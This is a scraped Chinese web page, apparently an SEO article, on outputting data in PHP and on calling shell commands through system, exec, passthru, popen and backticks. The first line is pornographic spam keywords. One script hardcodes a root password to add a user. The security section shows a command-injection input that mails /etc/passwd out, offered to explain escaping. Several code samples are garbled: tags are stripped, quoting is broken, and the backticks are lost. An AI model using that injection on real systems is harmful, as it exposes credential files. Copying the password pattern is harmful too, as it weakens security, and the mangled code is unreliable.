午夜无码人妻aⅴ大片色欲张津瑜,国产69久久久欧美黑人A片,色妺妺视频网,久久久久国产综合AV天堂

php中怎么打印數(shù)據(jù),php調(diào)用打印機(jī)打印

PHP里面怎么輸出數(shù)據(jù)?

您好,PHP輸出數(shù)據(jù)有四種方式,echo、var_dump、print_r、retrun(這個一般是PHP框架常用)

創(chuàng)新互聯(lián)建站主要從事網(wǎng)頁設(shè)計(jì)、PC網(wǎng)站建設(shè)(電腦版網(wǎng)站建設(shè))、wap網(wǎng)站建設(shè)(手機(jī)版網(wǎng)站建設(shè))、響應(yīng)式網(wǎng)站設(shè)計(jì)、程序開發(fā)、網(wǎng)站優(yōu)化、微網(wǎng)站、微信小程序開發(fā)等,憑借多年來在互聯(lián)網(wǎng)的打拼,我們在互聯(lián)網(wǎng)網(wǎng)站建設(shè)行業(yè)積累了豐富的網(wǎng)站制作、成都網(wǎng)站制作、網(wǎng)站設(shè)計(jì)、網(wǎng)絡(luò)營銷經(jīng)驗(yàn),集策劃、開發(fā)、設(shè)計(jì)、營銷、管理等多方位專業(yè)化運(yùn)作于一體。

php文件如何打印

php 并不能使用打印機(jī)打印,只能 弄出數(shù)據(jù) 和 樣式來進(jìn)行打印

所用的打印功能 是 瀏覽器本身自帶的

php 怎么實(shí)現(xiàn)打印 功能啊 直接打印html中的table 而且為word格式 table里的內(nèi)容是通過數(shù)據(jù)庫獲取出來的

你的打印是不是編程語言里面說的打印,例如basic語言的print語句,如果是的話,在PHP里面使用echo語句打印內(nèi)容,例如:

echo 'table border=1trtd1td2/table';

如果你是希望程序運(yùn)行后在打印機(jī)上打印輸出內(nèi)容,那可能比較復(fù)雜,而且不是PHP的強(qiáng)項(xiàng),需要編寫許多查找打印機(jī)的代碼,簡單的做法是把數(shù)據(jù)送我特殊設(shè)備,可以使用file_put_contents函數(shù),例如:

file_put_contents('PRN:', 'print test');

在php命令行業(yè)中怎樣打印內(nèi)容

在PHP中調(diào)用外部命令,可以用如下三種方法來實(shí)現(xiàn):

1) 用PHP提供的專門函數(shù)

PHP提供共了3個專門的執(zhí)行外部命令的函數(shù):system(),exec(),passthru()。

system()

原型:string

system (string command [, int return_var])

system()函數(shù)很其它語言中的差不多,它執(zhí)行給定的命令,輸出和返回結(jié)果。第二個參數(shù)是可選的,用來得到命令執(zhí)行后的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

system("/usr/local/bin/webalizer/webalizer");

?

exec()

原型:string exec (string command [, string array [, int return_var]])

exec

()函數(shù)與system()類似,也執(zhí)行給定的命令,但不輸出結(jié)果,而是返回結(jié)果的最后一行。雖然它只返回命令結(jié)果的最后一行,但用第二個參數(shù)array

可以得到完整的結(jié)果,方法是把結(jié)果逐行追加到array的結(jié)尾處。所以如果array不是空的,在調(diào)用之前最好用unset()最它清掉。只有指定了第二

個參數(shù)時,才可以用第三個參數(shù),用來取得命令執(zhí)行的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

exec("/bin/ls -l", $res, $rc);

?

passthru()

原型:void passthru (string command [, int

return_var])

passthru

()只調(diào)用命令,不返回任何結(jié)果,但把命令的運(yùn)行結(jié)果原樣地直接輸出到標(biāo)準(zhǔn)輸出設(shè)備上。所以passthru()函數(shù)經(jīng)常用來調(diào)用象pbmplus

(Unix下的一個處理圖片的工具,輸出二進(jìn)制的原始圖片的流)這樣的程序。同樣它也可以得到命令執(zhí)行的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

header("Content-type:

image/gif");

passthru("./ppmtogif hunte.ppm");

?

2)

用popen()函數(shù)打開進(jìn)程

上面的方法只能簡單地執(zhí)行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統(tǒng)用戶時,要調(diào)用su來把當(dāng)前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen

()函數(shù)打開一個進(jìn)程管道來執(zhí)行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那么就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一

的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或?qū)懀┐蜷_的,否則必須調(diào)用pclose()函數(shù)來關(guān)閉 它。

例子1:

復(fù)制代碼

代碼如下:

?php

$fp=popen("/bin/ls -l", "r");

?

例子2:

復(fù)制代碼

代碼如下:

?php

/* PHP中如何增加一個系統(tǒng)用戶

下面是一段例程,增加一個名字為james的用戶,

root密碼是 verygood。僅供參考

*/

$sucommand =

"su --login root --command";

$useradd = "useradd ";

$rootpasswd =

"verygood";

$user = "james";

$user_add = sprintf("%s "%s

%s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?

3)

用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執(zhí)行的命令括起來作為一個表達(dá)式,這個表達(dá)式的值就是命令執(zhí)行的結(jié)果。如:

復(fù)制代碼

代碼如下:

?php

$res='/bin/ls -l';

echo '

'.$res.'

';

?

這個腳本的輸出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考慮些什么看

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網(wǎng)上商店,所以可以出售的產(chǎn)品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地

址,然后把這個產(chǎn)品列表發(fā)給他們。假設(shè)你沒有使用PHP的mail()函數(shù)(或者從未聽說過),你就調(diào)用Linux/Unix系統(tǒng)的mail程序來發(fā)送這

個文件。程序就象這樣:

復(fù)制代碼

代碼如下:

?php

system("mail $to

products.txt");

echo "我們的產(chǎn)品目錄已經(jīng)發(fā)送到你的信箱:$to";

?

用這段代碼,一般的用戶不會產(chǎn)生什么危險,但實(shí)際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail someone@domain.com /etc/passwd ;'

那么這條命令最終變成:

'mail --bla ; mail someone@domain.com /etc/passwd ; products.txt'

我相信,無論哪個網(wǎng)絡(luò)管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數(shù):EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個字符串

中所有可能瞞過Shell而去執(zhí)行另外一個命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(),重定向()和從文件讀入

()等。函數(shù)EscapeShellArg是用來處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉(zhuǎn)義,這樣這個字符串

就可以安全地作為命令的參數(shù)。

再來看看超時問題。如果要執(zhí)行的命令要花費(fèi)很長的時間,那么應(yīng)該把這個命令放到系統(tǒng)的后臺去運(yùn)

行。但在默認(rèn)情況下,象system()等函數(shù)要等到這個命令運(yùn)行完才返回(實(shí)際上是要等命令的輸出結(jié)果),這肯定會引起PHP腳本的超時。解決的辦法是

把命令的輸出重定向到另外一個文件或流中,如:

復(fù)制代碼

代碼如下:

?php

system("/usr/local/bin/order_proc /tmp/null ");

?

2.php如何打印一個對象或數(shù)組到桌面上

php打印一個對象或數(shù)組到到桌面上:

1、打印數(shù)組使用print_r ( $array/$var )

print 是打印的意思,而r則取自Array的單詞,那么該函數(shù)的功能就是打印數(shù)組內(nèi)容,它既可以打印數(shù)組內(nèi)容,也可以打印普通的變量。

print_r ($_REQUEST) ;

print_r ($_GET) ; /* 打印使用GET方法傳遞的表單內(nèi)容*/

print_r($_POST) ; /* 打印使用表單POST方法傳遞過的數(shù)組內(nèi)容*/

2、打印對象使用var_dump ($object/$array/$var)

var 代表變量(Variable),變量包括對象、數(shù)組以及標(biāo)量變量,dump有倒出之意,加在一塊,就是將變量或?qū)ο蟮膬?nèi)容全部輸出出來。

var_dump($DB) ; /*打印$DB數(shù)據(jù)庫連接對象的內(nèi)容*/

var_dump($fileHandle) ; /*打印文件句柄對象的內(nèi)容*/

var_dump($Smarty) ; /*打印Smarty模板對象*/

php 中,怎么打印$_POST傳過來得值?

PHP 中的 print_r() 函數(shù)可以實(shí)現(xiàn)

print_r() 打印關(guān)于變量的易于理解的信息。

bool print_r ( mixed $expression [, bool $return ] )

print_r() 顯示關(guān)于一個變量的易于理解的信息。如果給出的是 string、integer 或 float,將打印變量值本身。如果給出的是 array,將會按照一定格式顯示鍵和元素。object 與數(shù)組類似。

記住,print_r() 將把數(shù)組的指針移到最后邊。使用 reset() 可讓指針回到開始處。

pre

?php

$a = array ('a' = 'apple', 'b' = 'banana', 'c' = array ('x','y','z'));

print_r ($a);

?

/pre

上邊的代碼將輸出:

pre

Array

(

[a] = apple

[b] = banana

[c] = Array

(

[0] = x

[1] = y

[2] = z

)

)

/pre

同樣,PHP 中的 var_dump() 也可以實(shí)現(xiàn),并且可以輸出相應(yīng)的數(shù)據(jù)類型、長度等。

文章題目:php中怎么打印數(shù)據(jù),php調(diào)用打印機(jī)打印
網(wǎng)址分享:http://www.ekvhdxd.cn/article40/heggho.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設(shè)計(jì)、企業(yè)網(wǎng)站制作搜索引擎優(yōu)化、網(wǎng)站制作服務(wù)器托管、電子商務(wù)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)